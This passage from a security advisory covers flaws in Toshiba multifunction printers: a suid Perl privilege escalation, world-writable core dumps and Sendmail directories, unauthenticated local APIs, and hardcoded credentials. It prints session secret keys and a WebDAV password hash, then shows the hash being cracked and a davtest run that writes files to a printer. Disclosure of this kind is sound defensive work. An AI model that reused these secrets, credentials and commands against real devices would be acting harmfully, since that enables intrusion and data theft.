Perl 5.10.x dates from December 2007 and the suidperl binary at /usr/bin/sperl5.10.1-17 is vulnerable to a Local Privilege Escalation vulnerability. PROCSUID is an exploit developed by the NSA for this vulnerability and was made public in 2016.
The exploit is available at https://github.com/x0rz/EQGRP/blob/master/Linux/up/procsuids.sh.WITHCOMMENTS.
bash-4.1# ls -la /usr/bin/sperl5.10.1-17
-rws--x--x 1 root root 74988 Mar 15 11:42 /usr/bin/sperl5.10.1-17
bash-4.1# /usr/bin/sperl5.10.1-17 --help
Usage: /usr/bin/sperl5.10.1-17 [switches] [--] [programfile] [arguments]
-0[octal] specify record separator (\0, if no argument)
-a autosplit mode with -n or -p (splits $_ into @F)
-C[number/list] enables the listed Unicode features
-c check syntax only (runs BEGIN and CHECK blocks)
-d[:debugger] run program under debugger
-D[number/list] set debugging flags (argument is a bit mask or alphabets)
-e program one line of program (several -e's allowed, omit programfile)
-E program like -e, but enables all optional features
-f don't do $sitelib/sitecustomize.pl at startup
-F/pattern/ split() pattern for -a switch (//'s are optional)
-i[extension] edit <> files in place (makes backup if extension supplied)
-Idirectory specify @INC/#include directory (several -I's allowed)
-l[octal] enable line ending processing, specifies line terminator
-[mM][-]module execute "use/no module..." before executing program
-n assume "while (<>) { ... }" loop around program
-p assume loop like -n but print line also, like sed
-P run program through C preprocessor before compilation
-s enable rudimentary parsing for switches after programfile
-S look for programfile using PATH environment variable
-t enable tainting warnings
-T enable tainting checks
-u dump core after parsing program
-U allow unsafe operations
-v print version, subversion (includes VERY IMPORTANT perl info)
-V[:variable] print configuration summary (or a single Config.pm variable)
-w enable many useful warnings (RECOMMENDED)
-W enable all warnings
-x[directory] strip off text before #!perl line and perhaps cd to directory
-X disable all warnings
bash-4.1#
A local attacker can get root privileges.
## Details - Insecure permissions for core files
It was observed that all the Toshiba printers contain coredump binaries in `/work/log/platform/syscallerr/gdb_backtraces`. These files have incorrect permissions; any local attacker can read and/or modify these files. These files contain the memory dump when the programs crashed and contain sensitive files (scanned files, printed files, and clear-text credentials):
Content of `/work/log/platform/syscallerr/gdb_backtraces`:
bash-4.1# ls -la /work/log/platform/syscallerr/gdb_backtraces/
total 176
drwxrwxrwx 2 root root 4096 Apr 11 19:48 .
drwxrwxrwx 3 root root 4096 Apr 6 2016 ..
-rwxrwxrwx 1 root root 34651 Mar 23 20:27 core.alhp9100.4104.MFP14130119.1679583349_backtrace
-rwxrwxrwx 1 root root 2440 Mar 23 20:27 core.alipp.4825.MFP14130119.1679583369_backtrace
-rwxrwxrwx 1 root root 1007 Mar 23 20:26 core.bash.17184.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root 1729 Mar 23 20:26 core.curl.17593.MFP14130119.1679583273_backtrace
-rwxrwxrwx 1 root root 679 Mar 23 20:27 core.dibbler-client.3219.MFP14130119.1679583329_backtrace
-rwxrwxrwx 1 root root 1554 Mar 23 20:27 core.httpd.17263.MFP14130119.1679583348_backtrace
-rwxrwxrwx 1 root root 1514 Mar 23 20:27 core.httpd.17339.MFP14130119.1679583357_backtrace
-rwxrwxrwx 1 root root 3099 Mar 23 20:27 core.httpd.5108.MFP14130119.1679583307_backtrace
-rwxrwxrwx 1 root root 1140 Mar 23 20:27 core.httpd.5119.MFP14130119.1679583308_backtrace
-rwxrwxrwx 1 root root 1140 Mar 23 20:27 core.httpd.5120.MFP14130119.1679583310_backtrace
-rwxrwxrwx 1 root root 1302 Mar 23 20:27 core.httpd.5121.MFP14130119.1679583304_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5122.MFP14130119.1679583374_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5124.MFP14130119.1679583309_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5126.MFP14130119.1679583330_backtrace
-rwxrwxrwx 1 root root 1513 Mar 23 20:27 core.httpd.5127.MFP14130119.1679583372_backtrace
-rwxrwxrwx 1 root root 1140 Mar 23 20:27 core.httpd.5128.MFP14130119.1679583306_backtrace
-rwxrwxrwx 1 root root 24384 Apr 11 19:48 core.httpd_worker.8272.MFP14130119.1681135080_backtrace
-rwxrwxrwx 1 root root 17882 Mar 23 20:27 core.mapper.1572.MFP14130119.1679583311_backtrace
-rwxrwxrwx 1 root root 1673 Mar 23 20:27 core.nqcs.4048.MFP14130119.1679583366_backtrace
-rwxrwxrwx 1 root root 1025 Mar 23 20:27 core.sendmail.3868.MFP14130119.1679583366_backtrace
-rwxrwxrwx 1 root root 1226 Mar 23 20:26 core.sh.17183.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root 1080 Mar 23 20:27 core.slpd.4475.MFP14130119.1679583369_backtrace
-rwxrwxrwx 1 root root 5025 Mar 23 20:26 core.snmpd.4229.MFP14130119.1679583274_backtrace
-rwxrwxrwx 1 root root 1068 Mar 23 20:27 core.vsftpd.4033.MFP14130119.1679583366_backtrace
bash-4.1#
A local attacker can steal confidential information.
## Details - Insecure permissions used for Sendmail - Local Privilege Escalation
It was observed that all the Toshiba printers use Sendmail to send emails to recipients.
Sendmail is used with several insecure directories:
- - `/work/ci/tmp` to store temporary configuration files for Sendmail, this directory has dangerous permissions (777), as shown below in the logs of Sendmail.
- - `/var/spool/clientmqueue` to store emails, this directory has dangerous permissions, as shown below in the logs of Sendmail.
Content of `/ramdisk/al/network/log/maillog`:
2023-04-14T19:59:58.973687+12:00 localhost faxmilter[4069]: call the smfi_main function
2023-04-14T21:07:31.005288+12:00 localhost sendmail[10814]: /work/ci/tmp/Config5564fde0-02e5-4e85-a5ff-0937a7de150a.cf: WARNING: dangerous write permissions
2023-04-14T21:07:31.035657+12:00 localhost sendmail[10814]: dangerous permissions=40777 on queue directory /var/spool/clientmqueue/
2023-04-14T21:07:31.140713+12:00 localhost sendmail[10814]: 12A91D0a561921: from=test@test-smtp.org, size=312413, class=0, nrcpts=1, msgid=<TTEC89704647-f3b3-4f31-b9c5-348f90ae72f8@hostname>, relay=root@localhost
A local attacker can inject a malicious Sendmail configuration file and get Remote Code Execution as root.
A local attacker can inject a malicious scanned file.
A local attacker can steal confidential information.
## Details - Hardcoded keys found in Python applications used to generate authentication cookies
It was observed that all the Toshiba printers use Python programs running as WSGI applications to provide dynamic web APIs. These APIs provide, for example, remote administration to the printers.
It appears that some hardcoded keys are used for authentication within Pyramid. Knowing these private keys may allow attackers to bypass authentication and reach administrative interfaces:
- - Settingapp WSGI program
- - HomeApp WSGI program
- - WebServerApp WSGI program
Hardcoded keys:
/home/SYSROM_SRC/build/release/webframework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/webframework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/home/SYSROM_SRC/build/release/framework/webserverapp/development.ini:session.secret = ZV2ViU2VydmVyQXBwZ
/home/SYSROM_SRC/build/release/framework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/framework/settingapp/development_sapp.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/home/SYSROM_SRC/build/release/framework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/application/webframework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/webframework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
/application/framework/webserverapp/development.ini:session.secret = ZV2ViU2VydmVyQXBwZ
/application/framework/settingapp/development.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/framework/settingapp/development_sapp.ini:session.secret = Ecp2FBapEeWjWwAMKRj
/application/framework/homeapp/development.ini:session.secret = RkoKjLoUEeWkjwAMKRj
Such apps are directly reachable due to the use of Apache as a reverse proxy.
For example, to reach the SettingApp, it is possible to send HTTP request to `/aplpx/`:
Content of `/encryption/al/network/config/httpd.conf`:
[...]
1146 ProxyPass /aplpx/ https://localhost:50184/
1147 ProxyPassReverse /aplpx/ https://localhost:50184/
[...]
A remote attacker can bypass authentication in remote applications.
## Details - Lack of authentication in WebPanel - Local Privilege Escalation
It was observed that all the Toshiba printers use Python programs running as WSGI applications to provide dynamic web APIs. These APIs provide, for example, remote administration to the printers.
One of these applications is the WebPanel, binding to the localhost interface on port 50180/tcp. This program provides API without authentication. A local attacker can change the configuration of the printer without authentication by reaching these routes located inside `/devicecontrol`:
Content of `/registration/al/WebPanel/wpserver/screenfacade/devicecontrol/__init__.py`:
[code:python]
1 #! /usr/bin/env python
2 # -*- coding: utf-8 -*-
3 import logging
4
5 from pyramid.config import Configurator
6
7 log = logging.getLogger("wpserver")
8
9
10 def includeme(config):
11 log.info("includeme:ENTER")
12 config.add_route('init_powercontrol', 'initPowerControl')
13 config.add_route('powercontrol_mode', 'PowercontrolMode')
14 config.add_route('turn_on_led', 'turnOnLED')
15 config.add_route('turn_off_led', 'turnOffLED')
16 config.add_route('invoke_screen', 'invokeScreen', xhr=True)
17 config.add_route('invoke_popup_window', 'invokePopupWindow', xhr=True)
18 config.add_route('invoke_auth_popup_window', 'invokeAuthPopupWindow', xhr=True)
19 config.add_route('invoke_auth_popupwindowwith_permissions', 'invokeAuthPopupWindowWithPermissions', xhr=True)
20 config.add_route('start_rotatepolygon', 'startRotatePolygon')
21 config.add_route('start_fuserheating', 'startFuserHeating')
22 config.add_route('start_fuserheating_rotatepolygon', 'startFuserHeatingRotatePolygon')
23 config.add_route('invoke_popup_screen', 'invokePopupScreen', xhr=True)
24 config.add_route('invoke_drawer_window', 'invokeDrawerWindow', xhr=True)
25 config.add_route('blink_led', 'blinkLED')
26 config.add_route('get_device_running_status', 'getDeviceRunningStatus', xhr=True)
27 config.add_route('get_drawer_information', 'getDrawerInformation', xhr=True)
28 config.add_route('lock_keys_withid', 'lockKeysWithID', xhr=True)
29 config.add_route('unlock_keys_withid', 'unLockKeysWithID', xhr=True)
30 config.add_route('show_sharedhome_window', 'showSharedHomeWindow', xhr=True)
31 log.info("includeme:EXIT")
32
33
34 def main(global_config, **settings):
35 """ This function returns a Pyramid WSGI application.
36 """
37 log.info("main:ENTER")
38 config = Configurator(settings=settings)
39 config.include(includeme, route_prefix='/devicecontrol')
40 config.add_static_view('static', 'prototype', cache_max_age=3600)
41 config.scan('devicecontrol')
42 log.info("main:EXIT")
43 return config.make_wsgi_app()
[/code]
246 routes are defined in Python scripts inside the WebPanel, listening on port 50180, without authentication:
API access without authentication:
./wpserver/eventmanagement/__init__.py: config.add_route('sse_event_start', 'sseEventStart')
./wpserver/eventmanagement/__init__.py: config.add_route('sse_event_stop', 'sseEventStop')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('user_login_required', 'userLoginRequired', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('authenticate_user', 'authenticateUser', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('async_Authenticate_Check', 'asyncAuthenticateCheck', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('change_user_password', 'changePassword', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('user_log_out', 'userLogOut', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_dept_code', 'setDeptCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('get_diagnostic_code', 'getDiagnosticCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('register_user', 'registerUser')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_pincode', 'loginByPinCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_pincode_external', 'loginByPinCodeExternal')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_cardid', 'loginByCardId')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_cardid_external', 'loginByCardIdExternal')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_card_pincode', 'loginByCardIdAndPinCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('login_by_card_pin_external', 'loginByCardIdAndPinExternal')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('project_management_setting', 'projectManagementSetting')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('project_management_operations', 'projectOperations')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('card_swipe_event_subscribe', 'CardSwipeEventSubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('card_swipe_event_unsubscribe', 'CardSwipeEventUnsubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('job_status_blink_event_subscribe', 'JobStatusBlinkEventSubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('job_status_blink_event_unsubscribe', 'JobStatusBlinkEventUnsubscribe')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_pin_code', 'setPinCode')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_swipe_event', 'setSwipeEvent')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('set_remote_scan', 'setRemoteScan')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('validate_credential', 'validateCredential')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('authenticate_by_smtp_ldap', 'authenticateBySmtporLdap')
./wpserver/screenfacade/authentication/__init__.py: config.add_route('validate_temp_login_admin', 'validateTempLoginAdmin', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('get_display_settings', 'getDisplaySettings', xhr=True)
./wpserver/screenfacade/authentication/__init__.py: config.add_route('after_login_success_checks', 'afterLoginSuccessChecks', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('set_inactive_mode', 'setInactiveMode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('set_active_mode', 'setActiveMode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('init_department_code', 'initDepartmentCode', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('get_current_language', 'getCurrentLanguage', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('update_paramters_for_coincontroller', 'updateCoinControllerParameters', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('pause_auto_clear_timer', 'pauseAutoClearTimer', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('resume_auto_clear_timer', 'resumeAutoClearTimer', xhr=True)
./wpserver/screenfacade/basepanel/__init__.py: config.add_route('control_power_key', 'controlPowerKey', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_jobstatus', 'initJobstatus', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_log_auth','getLogAuthentication')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_suspended_job_details', 'getSuspendedJobDetails', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('re_init_jobstatus', 'reInitJobstatus', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_sync_mode','getSyncMode')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_jobstatus_jobs', 'initJobStatusJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_count_wfid', 'getTotalJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_print_job', 'getPrintJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('update_print_parameter','updateSuspendedJobData')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('jobs_start_hard_key','jobsStartHardKey')
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_scan_job', 'getScanJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_fax_jobs', 'initFaxJobs', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('get_fax_job', 'getFaxJobList', xhr=True)
./wpserver/screenfacade/jobstatus/__init__.py: config.add_route('init_jobstatus_logs', 'initJobStatusLogs', xhr=True)
[...]
These routes are used for internal communications from localhost without authentication.
Content of `/work/log/al/httpd_wsgi_access.log`:
127.0.0.1 - - [25/Apr/2023:13:17:38 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/home/getLoginData?_=1682332768396 HTTP/1.1" 200 1289
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/statusbar/statusBarEventUnsubscribe?_=1682332768397 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:26 +0530] "GET /wpserver/statusbar/statusBarEventSubscribe?_=1682332768398 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/home/initHomeScreen?defaultMenu=undefined&_=1682332768399 HTTP/1.1" 200 9648
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/home/getRemainingTiles?userType=Public&selectedTileSize=large&_=1682332768400 HTTP/1.1" 200 16
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/devicecontrol/turnOnLED?key=Start HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:18:27 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:19:12 +0530] "GET /wpserver/devicecontrol/invokeScreen?screen=JobStatus&_=1682332768401 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:01 +0530] "GET /wpserver/home/getLoginData?_=1682332768402 HTTP/1.1" 200 1444
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/statusbar/statusBarEventUnsubscribe?_=1682332768403 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/statusbar/statusBarEventSubscribe?_=1682332768404 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:02 +0530] "GET /wpserver/home/initHomeScreen?defaultMenu=undefined&_=1682332768405 HTTP/1.1" 200 9648
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/home/getRemainingTiles?userType=Public&selectedTileSize=large&_=1682332768406 HTTP/1.1" 200 16
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/devicecontrol/turnOnLED?key=Start HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:20:03 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=FunctionClear HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:52:03 +0530] "GET /wpserver/devicecontrol/invokeScreen?screen=JobStatus&_=1682332768407 HTTP/1.1" 200 2
127.0.0.1 - - [25/Apr/2023:13:52:30 +0530] "GET /wpserver/print/initPrintJob?_=1682332768408 HTTP/1.1" 200 1398
127.0.0.1 - - [25/Apr/2023:13:52:30 +0530] "GET /wpserver/devicecontrol/turnOffLED?key=Start HTTP/1.1" 200 2
For example, a local attacker can reach these APIs without authentication:
bash-4.1# curl "https://127.0.0.1:50180/wpserver/devicecontrol/turnOffLED?key=FunctionClear"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2 100 2 0 0 2 0 0:00:01 --:--:-- 0:00:01 166
OK
A local attacker can bypass authentication in applications, providing administrative access.
## Details - Hardcoded credentials for WebDAV access
It was observed that all the Toshiba printers contain credentials used for WebDAV access in the world-readable file `/home/SYSROM_SRC/data/passwords`:
bash-4.1# ls -la /home/SYSROM_SRC/data/passwords
-rw-rw-rw- 1 root trusted 42 Jan 18 2022 /home/SYSROM_SRC/data/passwords
bash-4.1# cat /home/SYSROM_SRC/data/passwords
EBX:$apr1$wQYd9W5O$wDKvnN4Ij34hwvTiohAka.
It is possible to crack this hash with John:
kali% john passwd.toshiba
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
toshiba (EBX)
1g 0:00:00:00 DONE 2/3 (2023-03-09 09:22) 11.11g/s 36022p/s 36022c/s 36022C/s keller..karla
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
kali%
Then, for firmware versions released by 2020, it is possible to get a full access with WebDAV to the printer.
Such access was successfully done against printers running the firmware versions T373HD0W1054, T410HD0W1073, TB01HD0W1610 and TG01HD0W1610:
kali% davtest -url https://10.0.0.1:8080/storage/box/ITUTBoxes
********************************************************
Testing DAV connection
OPEN FAIL: https://10.0.0.1:8080/storage/box/ITUTBoxes Server response: 405 Method Not Allowed
kali% davtest -url https://EBX:toshiba@10.0.0.1:8080/storage/box/ITUTBoxes
********************************************************
Testing DAV connection
OPEN FAIL: https://EBX:toshiba@10.0.0.1:8080/storage/box/ITUTBoxes Server response: 405 Method Not Allowed
kali% davtest -url https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/
********************************************************
Testing DAV connection
OPEN SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes
********************************************************
NOTE Random string for this session: SIX4x_ZkORvv
********************************************************
Creating directory
MKCOL SUCCEED: Created https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
********************************************************
Sending test files
PUT aspx SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.aspx
PUT asp SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.asp
PUT jhtml SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jhtml
PUT txt SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
PUT cfm SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cfm
PUT pl SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.pl
PUT shtml SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.shtml
PUT php SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.php
PUT jsp SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jsp
PUT cgi SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cgi
PUT html SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
********************************************************
Checking for test file execution
EXEC aspx FAIL
EXEC asp FAIL
EXEC jhtml FAIL
EXEC txt SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
EXEC txt FAIL
EXEC cfm FAIL
EXEC pl FAIL
EXEC shtml FAIL
EXEC php FAIL
EXEC jsp FAIL
EXEC cgi FAIL
EXEC html SUCCEED: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
EXEC html FAIL
********************************************************
/usr/bin/davtest Summary:
Created: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.aspx
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.asp
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jhtml
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cfm
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.pl
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.shtml
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.php
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jsp
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cgi
PUT File: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
Executes: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
Executes: https://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
kali%
We can confirm the files are stored inside the printer:
bash-4.1# ls -la /storage/box/EFilingBoxes/
total 16
drwxrwxrwx 4 root root 4096 Mar 9 03:22 .
drwxr-xr-x 9 root root 4096 Mar 9 01:47 ..
drwxrwxrwx 2 root trusted 4096 Aug 12 2018 00000
drwxrwxrwx 2 apache trusted 4096 Mar 9 03:22 DavTestDir_SIX4x_ZkORvv
-rwxrwxrwx 1 root trusted 0 Mar 9 01:47 initialized.sts
bash-4.1# ls -la /storage/box/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
total 52
drwxrwxrwx 2 apache trusted 4096 Mar 9 03:22 .
drwxrwxrwx 4 root root 4096 Mar 9 03:22 ..
-rw-rw-rw- 1 apache trusted 44 Mar 9 03:22 davtest_SIX4x_ZkORvv.asp
-rw-rw-rw- 1 apache trusted 44 Mar 9 03:22 davtest_SIX4x_ZkORvv.aspx
-rw-rw-rw- 1 apache trusted 42 Mar 9 03:22 davtest_SIX4x_ZkORvv.cfm
-rw-rw-rw- 1 apache trusted 66 Mar 9 03:22 davtest_SIX4x_ZkORvv.cgi
-rw-rw-rw- 1 apache trusted 26 Mar 9 03:22 davtest_SIX4x_ZkORvv.html
-rw-rw-rw- 1 apache trusted 37 Mar 9 03:22 davtest_SIX4x_ZkORvv.jhtml
-rw-rw-rw- 1 apache trusted 37 Mar 9 03:22 davtest_SIX4x_ZkORvv.jsp
-rw-rw-rw- 1 apache trusted 24 Mar 9 03:22 davtest_SIX4x_ZkORvv.php
-rw-rw-rw- 1 apache trusted 66 Mar 9 03:22 davtest_SIX4x_ZkORvv.pl
-rw-rw-rw- 1 apache trusted 181 Mar 9 03:22 davtest_SIX4x_ZkORvv.shtml
-rw-rw-rw- 1 apache trusted 19 Mar 9 03:22 davtest_SIX4x_ZkORvv.txt
bash-4.1#
A remote attacker can store files that will contain XSS in the printer web interface.
This vulnerability has been patched in the latest firmware version since the new version of Apache has some changes in the configuration options (the `require valid-user` option).
## Target: Toshiba Printers - Embedded applications
## Summary
The Toshiba printers support additional programs ("embedded applications") in the latest version of the firmware images.
By default, 2 programs are installed:
- - Remote Command (v1.0.8)
- - Cloud Authentication for email (v1.0.0).
Listing of applications installed by default:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
It is possible to interact with such applications as shown below:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
## Details - Insecure permissions
It was observed that the programs are located inside the /application directory:
Content of `/application`:
bash-4.1# cd /application
bash-4.1# ls -la
total 44
drwxr-xr-x 8 root root 4096 Mar 15 11:49 .
drwxr-xr-x 30 root root 4096 Apr 10 18:47 ..
drwxr-xr-x 4 root root 4096 Mar 15 11:50 app
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 backup
drwx--x--- 3 root trusted 4096 Apr 6 2016 common
drwxr-xr-x 5 root root 4096 Apr 6 2016 framework
drwx------ 2 root root 16384 Apr 6 2016 lost+found
drwxr-xr-x 7 root root 4096 Apr 6 2016 webframework
bash-4.1#
When analyzing the directories inside /application, we can find several insecure permissions.
The backup directory is insecure, with incorrect (777) permissions everywhere:
Content of `/application/backup`:
bash-4.1# pwd
/application/backup
bash-4.1#
bash-4.1# ls -la
total 16
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 .
drwxr-xr-x 8 root root 4096 Mar 15 11:49 ..
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 initial
